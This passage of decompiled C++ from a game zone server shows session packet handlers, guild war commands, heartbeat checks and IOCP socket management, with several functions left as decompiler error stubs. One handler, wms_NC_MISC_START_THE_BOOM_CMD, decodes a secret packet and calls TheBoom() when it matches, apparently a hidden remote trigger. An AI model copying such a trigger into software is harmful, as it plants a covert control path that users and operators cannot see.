"ShineObjectClass::ShinePlayer::so_fill_PROTO_NC_CHAR_MAPLOGIN_ACK"); return logsuc; } //----- (0052F220) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // edi@1 char *v4; // esi@1 CServerInfo::MY_SERVER *v5; // eax@1 __int16 v6; // cx@1 __int16 v7; // dx@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2050; v4[4] = 6; v4[3] = 5; v4[5] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nWorldNo); v5 = ZoneServer::zs_worlddata(&zoneserver); v6 = (unsigned __int8)v4[3]; v7 = (unsigned __int8)v4[4]; v4[6] = LOBYTE(v5->nZoneNo); *(_WORD *)(v4 + 7) = v7 + v6; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 9) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY : Packet Too Long", 9); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_S2SCONNECTION_RDY"); } //----- (0052F330) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_S2SCONNECTION_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; SocketBundle::sb_Varification((SocketBundle *)&sock2wldman, (GameDBSession *)this); FieldContainer::fc_MapRegist((FieldContainer *)&fieldlist, v3); CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(&gGuild); } //----- (0052F360) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { ZoneBaseSession *v3; // esi@1 v3 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v3); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_HEARTBEAT_REQ"); } //----- (0052F430) -------------------------------------------------------- #error "52F430: undefined or illegal type '#331' (funcsize=78)" //----- (0052F560) -------------------------------------------------------- #error "52F560: undefined or illegal type '#331' (funcsize=142)" //----- (0052F760) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_kickoff(WorldManagerSession *this, unsigned int usrregnum) { List *v2; // esi@1 ListStruct *v3; // ecx@1 unsigned __int16 v4; // ax@1 unsigned __int16 i; // di@1 int v6; // eax@3 int v7; // ebx@4 DebugLogging *v8; // eax@8 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_kickoff"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_kickoff"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = unk_1247FF04; v3 = unk_1247FF04->l_Array; v4 = v3[unk_1247FF04->l_Finger.store].ls_Next; for ( i = v3[v4].ls_Next; v4 < v2->l_MaxSize; i = v2->l_Array[i].ls_Next ) { v6 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v6 + 8) ) break; v7 = *(_DWORD *)v6; if ( !*(_DWORD *)v6 ) break; if ( (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 840))(*(_DWORD *)v6) == usrregnum ) { v8 = DebugLogging::operator<<(&MoreDisconnectLog, "Char From world "); DebugLogging::operator<<(v8, &deb_LF); (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v7 + 1468))(v7, 1); break; } if ( i >= v2->l_MaxSize ) break; v4 = i; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_kickoff"); } //----- (0052F880) -------------------------------------------------------- #error "52F880: undefined or illegal type '#331' (funcsize=168)" //----- (0052FAC0) -------------------------------------------------------- #error "52FAC0: undefined or illegal type '#331' (funcsize=46)" //----- (0052FB90) -------------------------------------------------------- #error "52FB90: undefined or illegal type '#331' (funcsize=51)" //----- (0052FC60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; GuildWarManager::gwm_WarStart(&gldwarman, *(_DWORD *)&netcmd[1].protocol, *(_DWORD *)&netcmd[3].protocol); CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_START_CMD"); } //----- (0052FD10) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; GuildWarManager::gwm_WarStop(&gldwarman, *(_DWORD *)&netcmd[1].protocol, *(_DWORD *)&netcmd[3].protocol); CGuildZone::Recv_NC_GUILD_ZONE_WAR_END_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_END_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_WAR_END_CMD"); } //----- (0052FDC0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_LIST_ACK(&gGuild, (PROTO_NC_GUILD_ZONE_LIST_ACK *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_LIST_ACK"); } //----- (0052FE60) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_MAKE_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_MAKE_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_MAKE_CMD"); } //----- (0052FF00) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; CGuildZone::Recv_NC_GUILD_ZONE_DELETE_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_DELETE_CMD *)&netcmd[1]); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_ZONE_DELETE_CMD"); } //----- (0052FFA0) -------------------------------------------------------- #error "52FFA0: undefined or illegal type '#331' (funcsize=73)" //----- (005300A0) -------------------------------------------------------- #error "5300A0: undefined or illegal type '#331' (funcsize=74)" //----- (005301B0) -------------------------------------------------------- #error "5301B0: undefined or illegal type '#331' (funcsize=90)" //----- (00530310) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_GuildWarStatusRequest(WorldManagerSession *this) { ZoneBaseSession *v1; // esi@1 v1 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_GuildWarStatusRequest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_GuildWarStatusRequest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 29845; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v1); else AssertClass::ac_AssertFail(&shineassert, "WorldManagerSession::wms_GuildWarStatusRequest : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_GuildWarStatusRequest"); } //----- (005303E0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { signed int v3; // edi@1 NETCOMMAND *v4; // esi@2 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; CGuildZone::ClearWar(&gGuild); GuildWarManager::gwm_Clear(&gldwarman); if ( netcmd[1].protocol > 0u ) { v4 = netcmd + 2; do { CGuildZone::Recv_NC_GUILD_ZONE_WAR_START_CMD(&gGuild, (PROTO_NC_GUILD_ZONE_WAR_START_CMD *)v4); GuildWarManager::gwm_WarStart(&gldwarman, *(_DWORD *)&v4->protocol, *(_DWORD *)&v4[2].protocol); ++v3; v4 += 4; } while ( v3 < netcmd[1].protocol ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_GUILDWARSTATUS_ACK"); } //----- (005304C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // ebx@1 NETCOMMAND *v4; // eax@1 signed int v5; // ecx@1 NETCOMMAND *v6; // esi@1 NETCOMMAND *v7; // ebp@1 int v8; // ebp@1 int v9; // esi@1 int v10; // edi@1 const void *v11; // [sp+10h] [bp-14h]@1 const void *netcmda; // [sp+28h] [bp+4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd + 1; v4 = netcmd + 9; v5 = 0; v6 = netcmd + 17; v7 = netcmd + 1; netcmda = &netcmd[25]; v8 = (char *)v7 - (char *)v4; v9 = (char *)v6 - (char *)v4; v11 = v4; v10 = netcmda - v4; do { *((_BYTE *)&v4->protocol + v8) ^= (_BYTE)v5 + 66; LOBYTE(v4->protocol) ^= (_BYTE)v5 + 111; *((_BYTE *)&v4->protocol + v9) ^= (_BYTE)v5 + 111; *((_BYTE *)&v4->protocol + v10) ^= (_BYTE)v5++ + 109; v4 = (NETCOMMAND *)((char *)v4 + 1); } while ( v5 < 16 ); if ( !memcmp(v3, &v3[16], 16) && !memcmp(v11, netcmda, 16) ) TheBoom(); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_START_THE_BOOM_CMD"); } //----- (005305C0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_EndOfKQPacket(WorldManagerSession *this, unsigned int kqhandle) { ZoneBaseSession *v2; // edi@1 char *v3; // eax@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "WorldManagerSession::wms_EndOfKQPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_EndOfKQPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 22544; *(_DWORD *)(v3 + 2) = kqhandle; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 6) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail( &shineassert, "PineEventScriptNode::ShineEndOfKingdomQuest::sa_Step : Packet Too Long", 6); KQContribute::KQContributeList::kqpl_EndOfKQ((KQContribute::KQContributeList *)&g_KQContributeList, kqhandle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_EndOfKQPacket"); } //----- (005306A0) -------------------------------------------------------- #error "5306A0: undefined or illegal type '#331' (funcsize=66)" //----- (005307A0) -------------------------------------------------------- #error "5307A0: undefined or illegal type '#331' (funcsize=66)" //----- (005308A0) -------------------------------------------------------- #error "5308A0: undefined or illegal type '#331' (funcsize=81)" //----- (005309B0) -------------------------------------------------------- #error "5309B0: undefined or illegal type '#331' (funcsize=82)" //----- (00530AE0) -------------------------------------------------------- #error "530AE0: undefined or illegal type '#331' (funcsize=44)" //----- (00530BB0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; WorldManagerSession::wms_kickoff(v3, *(_DWORD *)&netcmd[4].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_KICKOFFFROMWORLD_CMD"); } //----- (00530C50) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; WorldManagerSession::wms_kickoff(v3, *(_DWORD *)&netcmd[4].protocol); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_USER_CONNECTCUT2ZONE_CMD"); } //----- (00530CF0) -------------------------------------------------------- #error "530CF0: undefined or illegal type '#331' (funcsize=71)" //----- (00530DF0) -------------------------------------------------------- #error "530DF0: undefined or illegal type '#440' (funcsize=93)" //----- (00530F40) -------------------------------------------------------- void __thiscall ZoneBaseSession::_ZoneBaseSession(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 v1 = this; this->vfptr = (ZoneBaseSessionVtbl *)&ZoneBaseSession::_vftable_; CPacket::_CPacket(&this->m_Packet); CSocket_IOCP::_CSocket_IOCP(&v1->m_SocketIOCP); } // 5D3ED0: using guessed type int (__stdcall *ZoneBaseSession___vftable_)(int interval); //----- (00530FA0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Close(ZoneBaseSession *this) { CSocket_IOCP *v1; // esi@1 v1 = &this->m_SocketIOCP; CSocket_IOCP::Shutdown(&this->m_SocketIOCP); return CSocket_IOCP::Close(v1); } //----- (00530FC0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Send(ZoneBaseSession *this, void *pData, int nSize) { return CSocket_IOCP::Send(&this->m_SocketIOCP, pData, nSize); } //----- (00530FD0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Receive(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 CPacket *v2; // edi@1 void *v3; // ebx@1 int v4; // eax@1 int dwReadBytes; // [sp+0h] [bp-4h]@1 dwReadBytes = (int)this; v1 = this; v2 = &this->m_Packet; v3 = CPacket::GetWriteDataPtr(&this->m_Packet); v4 = CPacket::GetWriteableBufferSize(v2); return CSocket_IOCP::Receive(&v1->m_SocketIOCP, v3, v4, (unsigned int *)&dwReadBytes); } //----- (00531000) -------------------------------------------------------- int __thiscall ZoneBaseSession::Socket_Register_To_IOCP(ZoneBaseSession *this, CIOCP *pIOCP) { ZoneBaseSession *v2; // esi@1 int v3; // eax@3 const char *v5; // [sp-10h] [bp-9Ch]@2 char Msg[128]; // [sp+8h] [bp-84h]@5 v2 = this; if ( !CIOCP::Register(pIOCP, (void *)this->m_SocketIOCP.m_Socket, this->m_SocketIOCP.m_Socket) ) { GetLastErrorStr(0, 1); v5 = "ERROR - Socket_Register_To_IOCP Step #1, %s"; LABEL_5: sprintf(Msg, v5); _DebugMessageNew(1, "Msg", "%s"); return 0; } v3 = CPacket::GetWriteableBufferSize(&v2->m_Packet); if ( !CSocket_IOCP::Receive(&v2->m_SocketIOCP, v2->m_Packet.m_pPacketBuffer, v3, 0) ) { GetLastErrorStr(0, 1); v5 = "ERROR - Socket_Register_To_IOCP Step #2, %s"; goto LABEL_5; } return 1; } //----- (005310D0) -------------------------------------------------------- int __thiscall ZoneBaseSession::CheckHeartBeat(ZoneBaseSession *this, int interval) { ZoneBaseSession *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@4 unsigned int v5; // ecx@5 v2 = this; if ( !this->m_Status ) return 1; v3 = CGTimer::GetTime(); if ( v3 - v2->m_LastReceiveTime < 0x7530 ) { v2->m_LastHeartBeatSendTime = 0; return 1; } v5 = v2->m_LastHeartBeatSendTime; if ( v5 ) { result = v3 - v5 < 0x2BF20; } else { v2->m_LastHeartBeatSendTime = v3; result = CSocket_IOCP::Send(&v2->m_SocketIOCP, &req, 3u); } return result; } //----- (00531140) -------------------------------------------------------- int __thiscall IOCPProcessSession::IOCP_Process(IOCPProcessSession *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes) { void *v3; // esi@1 CIOCP::IOCP_WORK_TYPE v4; // eax@2 int v5; // eax@3 unsigned int v7; // ecx@9 unsigned int v8; // eax@9 bool v9; // zf@9 v3 = pOverlapped->pData; if ( *((_DWORD *)v3 + 1) == 3 ) return 0; v4 = pOverlapped->Type; if ( v4 ) { v5 = v4 - 1; if ( !v5 ) { *((_DWORD *)v3 + 10) = CGTimer::GetTime(); CSocket_IOCP::WriteCallback((CSocket_IOCP *)((char *)v3 + 44), NumOfBytes); return 1; } if ( v5 == 1 ) { LABEL_5: *((_DWORD *)v3 + 1) = 3; return 0; } } else { *((_DWORD *)v3 + 9) = CGTimer::GetTime(); if ( !NumOfBytes ) goto LABEL_5; v7 = NumOfBytes + *((_DWORD *)v3 + 61); v8 = *((_DWORD *)v3 + 58) - v7; v9 = *((_DWORD *)v3 + 58) == v7; *((_DWORD *)v3 + 61) = v7; if ( !((v8 & 0x80000000u) != 0 | v9) ) CSocket_IOCP::Receive((CSocket_IOCP *)((char *)v3 + 44), (void *)(v7 + *((_DWORD *)v3 + 57)), v8, 0); } return 1; } //----- (005311D0) -------------------------------------------------------- int __thiscall ZoneBaseSession::Connect(ZoneBaseSession *this, char *pIPAddress, int PortNo, CIOCP *pIOCP) { ZoneBaseSession *v4; // edi@1 CSocket_IOCP *v5; // esi@1 v4 = this; v5 = &this->m_SocketIOCP; CSocket_IOCP::Shutdown(&this->m_SocketIOCP); CSocket_IOCP::Close(v5); v4->m_Packet.vfptr->Clear(&v4->m_Packet); return CSocket_IOCP::Connect(v5, pIPAddress, PortNo) && (!pIOCP || ZoneBaseSession::Socket_Register_To_IOCP(v4, pIOCP)); } //----- (00531230) -------------------------------------------------------- void __thiscall ZoneBaseSession::ZoneBaseSession(ZoneBaseSession *this) { ZoneBaseSession *v1; // esi@1 unsigned int v2; // eax@1 CIOCP_Process *v3; // ecx@1 CIOCP_Process *v4; // edx@1 CIOCP_Process *v5; // eax@1 v1 = this; this->vfptr = (ZoneBaseSessionVtbl *)&ZoneBaseSession::_vftable_; CSocket_IOCP::CSocket_IOCP(&this->m_SocketIOCP); CPacket::CPacket(&v1->m_Packet); v1->m_IOCP_Process.baseclass_0.vfptr = (CIOCP_Process_InterfeceVtbl *)&IOCPProcessSession::_vftable_; v1->m_Connected_Server_ID = 10; v1->m_Connected_World = 0; v1->m_Connected_Zone = 0; v1->m_Status = 0; GetLocalTime(&v1->m_Connected_Time); v1->m_LastReceiveTime = CGTimer::GetTime(); v2 = CGTimer::GetTime(); v3 = v1->m_SocketIOCP.m_Overlapped_Write.pIOCP_Process; v1->m_LastSendTime = v2; v1->m_LastHeartBeatSendTime = 0; v3->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v4 = v1->m_SocketIOCP.m_Overlapped_Read.pIOCP_Process; v1->m_SocketIOCP.m_Overlapped_Write.pData = v1; v4->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v5 = v1->m_SocketIOCP.m_Overlapped_Close.pIOCP_Process; v1->m_SocketIOCP.m_Overlapped_Read.pData = v1; v5->m_pProcess = (CIOCP_Process_Interfece *)&v1->m_IOCP_Process; v1->m_SocketIOCP.m_Overlapped_Close.pData = v1; } // 5D3ED0: using guessed type int (__stdcall *ZoneBaseSession___vftable_)(int interval); // 5D3F34: using guessed type int (__stdcall *IOCPProcessSession___vftable_)(int pOverlapped, int NumOfBytes); //----- (005312F0) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::ZoneBaseSessionManager(ZoneBaseSessionManager *this) { this->vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; this->m_pSessionListArray = 0; this->m_MaxSessions = 0; this->m_NumSessions = 0; this->m_pActiveSessions = 0; this->m_pEmptySessions = 0; } // 5A1430: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (00531310) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::FreeSessions(ZoneBaseSessionManager *this) { ZoneBaseSessionManager *v1; // esi@1 v1 = this; if ( this->m_pSessionListArray ) { operator delete(this->m_pSessionListArray); v1->m_pSessionListArray = 0; v1->m_pActiveSessions = 0; v1->m_pEmptySessions = 0; } } //----- (00531340) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::ProcHeartBeat(ZoneBaseSessionManager *this, CIOCP *pIOCP) { ZoneBaseSessionManager::LOGIN_SESSION_LIST *v2; // esi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // edi@2 v2 = this->m_pActiveSessions; if ( v2 ) { do { v3 = v2->pLinkDown; if ( !(**(int (__stdcall ***)(_DWORD))v2->pSession)(30) ) CSocket_IOCP::CloseUseIOCP(&v2->pSession->m_SocketIOCP, pIOCP); v2 = v3; } while ( v3 ); } } //----- (00531380) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::_ZoneBaseSessionManager(ZoneBaseSessionManager *this) { ZoneBaseSessionManager *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->m_pSessionListArray; this->vfptr = (ZoneBaseSessionManagerVtbl *)&ClientSessionManager::_vftable_; if ( v2 ) { operator delete(v2); v1->m_pSessionListArray = 0; v1->m_pActiveSessions = 0; v1->m_pEmptySessions = 0; } } // 5A1430: using guessed type int (__thiscall *ClientSessionManager___vftable_)(ZoneBaseSessionManager *this, int SocketAccept, int pAddr); //----- (005313B0) -------------------------------------------------------- int __thiscall ZoneBaseSessionManager::InitSessions(ZoneBaseSessionManager *this, int MaxSessions) { ZoneBaseSessionManager *v2; // esi@1 void *v3; // eax@4 int v4; // ecx@4 int v5; // eax@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v6; // edx@5 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v7; // edx@8 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v8; // eax@12 v2 = this; if ( this->m_pSessionListArray ) { operator delete(this->m_pSessionListArray); v2->m_pSessionListArray = 0; v2->m_pActiveSessions = 0; v2->m_pEmptySessions = 0; } if ( MaxSessions >= 1 ) { v3 = operator new__(12 * MaxSessions); v4 = 0; for ( v2->m_pSessionListArray = (ZoneBaseSessionManager::LOGIN_SESSION_LIST *)v3; v4 < MaxSessions; ++v4 ) { v5 = v4; v2->m_pSessionListArray[v4].pSession = 0; v6 = v2->m_pSessionListArray; if ( v4 ) v6[v5].pLinkUp = &v6[v5 - 1]; else v6->pLinkUp = 0; v7 = v2->m_pSessionListArray; if ( v4 == MaxSessions - 1 ) v7[v5].pLinkDown = 0; else v7[v5].pLinkDown = &v7[v5 + 1]; } v8 = v2->m_pSessionListArray; v2->m_MaxSessions = MaxSessions; v2->m_NumSessions = 0; v2->m_pEmptySessions = v8; v2->m_pActiveSessions = 0; } return 1; } //----- (00531450) -------------------------------------------------------- void __thiscall ZoneBaseSessionManager::EmptyToActive(ZoneBaseSessionManager *this, ZoneBaseSessionManager::LOGIN_SESSION_LIST *pSessionList) { ZoneBaseSessionManager *v2; // esi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v3; // ecx@6 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v4; // ecx@8 v2 = this; if ( pSessionList ) { if ( pSessionList->pLinkUp ) pSessionList->pLinkUp->pLinkDown = pSessionList->pLinkDown; else this->m_pEmptySessions = pSessionList->pLinkDown; v3 = pSessionList->pLinkDown; if ( v3 ) v3->pLinkUp = pSessionList->pLinkUp; pSessionList->pLinkUp = 0; pSessionList->pLinkDown = v2->m_pActiveSessions; v4 = v2->m_pActiveSessions; if ( v4 ) v4->pLinkUp = pSessionList; v2->m_pActiveSessions = pSessionList; ++v2->m_NumSessions; } else { GetCurrentTimeString(0); _DebugMessageNew(1, "Msg", "%s%s"); ++v2->m_NumSessions; } } //----- (005314D0) -------------------------------------------------------- ZoneBaseSessionManager::LOGIN_SESSION_LIST *__thiscall ZoneBaseSessionManager::ActiveSession(ZoneBaseSessionManager *this, unsigned int SocketAccept, sockaddr *pAddr) { ZoneBaseSessionManager *v3; // edi@1 ZoneBaseSessionManager::LOGIN_SESSION_LIST *v4; // esi@2 int v5; // edx@3 ZoneBaseSessionManager::LOGIN_SESSION_LIST *result; // eax@3 v3 = this; if ( this->m_MaxSessions > this->m_NumSessions && (v4 = this->m_pEmptySessions) != 0 ) { v4->pSession->m_Packet.vfptr->Clear(&v4->pSession->m_Packet); v4->pSession->m_SocketIOCP.m_Socket = SocketAccept; v5 = (int)&v4->pSession->m_SocketIOCP.m_SocketAddr; *(_DWORD *)v5 = *(_DWORD *)&pAddr->sa_family; *(_DWORD *)(v5 + 4) = *(_DWORD *)&pAddr->sa_data[2]; *(_DWORD *)(v5 + 8) = *(_DWORD *)&pAddr->sa_data[6]; 